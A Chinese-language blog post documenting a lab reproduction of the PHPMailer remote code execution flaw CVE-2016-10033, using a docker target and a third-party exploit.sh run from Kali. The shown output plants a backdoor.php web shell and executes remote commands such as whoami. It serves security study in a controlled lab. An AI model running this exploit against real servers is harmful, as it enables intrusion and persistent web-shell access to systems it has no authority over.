欢迎来到starnight_cyber的博客

PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

PHPMailer < 5.2.18 Remote Code Execution 

  本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经搭建好的docker环境,见参考链接。

  实验环境是在Ubuntu 16.04.3上,使用docker镜像。

安装和使用docker镜像

  首先需要在ubuntu上安装docker,可使用如下命令进行安装:

root@starnight:~# apt-get install docker.io    【安装docker】
root@starnight:~# docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
==> /var/log/apache2/access.log <==

==> /var/log/apache2/error.log <==
[Thu Nov 09 15:11:47.098917 2017] [mpm_prefork:notice] [pid 8] AH00163: Apache/2.4.10 (Debian) configured -- resuming normal operations
[Thu Nov 09 15:11:47.101902 2017] [core:notice] [pid 8] AH00094: Command line: '/usr/sbin/apache2 -f /etc/apache2/apache2.conf'

==> /var/log/apache2/other_vhosts_access.log <==

  安装完docker之后,需要把相应的靶机环境下载(pull)下来,首次运行上面那条命令会下载docker镜像,之后就会像上面运行的那样,表明docker镜像正在运行。

  查看一下ip地址:

root@starnight:~# ifconfig | grep inet
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: fe80::42:4aff:fe88:49e5/64 Scope:Link
          inet addr:192.168.0.8  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a7c0:e1f7:2118:7e6a/64 Scope:Link
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          inet6 addr: fe80::98a9:5bff:fe1f:b1c9/64 Scope:Link

  这里192.168.0.8是我们Ubuntu的ip地址,172.17.0.1是docker镜像的内部地址,通过访问http://192.168.0.8:8080/, 就能看到搭建好的存在漏洞的环境:

漏洞测试

  接下来我们使用kali来进行测试, 下载exploit-CVE-2016-10033中的exploit.sh到本地,运行如下命令进行测试:

root@kali:~/penetest/CVE-2016-10033# ./exploit.sh 192.168.0.8:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting 192.168.0.8:8080
[+] Target exploited, acessing shell at http://192.168.0.8:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> ls
[+] Running ls
vulnerable
RemoteShell> pwd
[+] Running pwd
/www

  其实,这里并不是所有的命令运行都会正常回显(略尴尬),比如说查看ip地址的命令ifconfig就看不到输出。

  此外,我们在服务器端的输出中也能看到一些有趣的东西:

 

  

  更多详情,请参考下面的链接。

References

  opsxcq/exploit-CVE-2016-10033  

  PHPMailer < 5.2.18 - Remote Code Execution (Bash)

  PHPMailer < 5.2.18 - Remote Code Execution (PHP)

  PHPMailer < 5.2.18 - Remote Code Execution (Python)

posted @ 2017-11-09 23:27  starnight_cyber  阅读(4492)  评论(2编辑  收藏  举报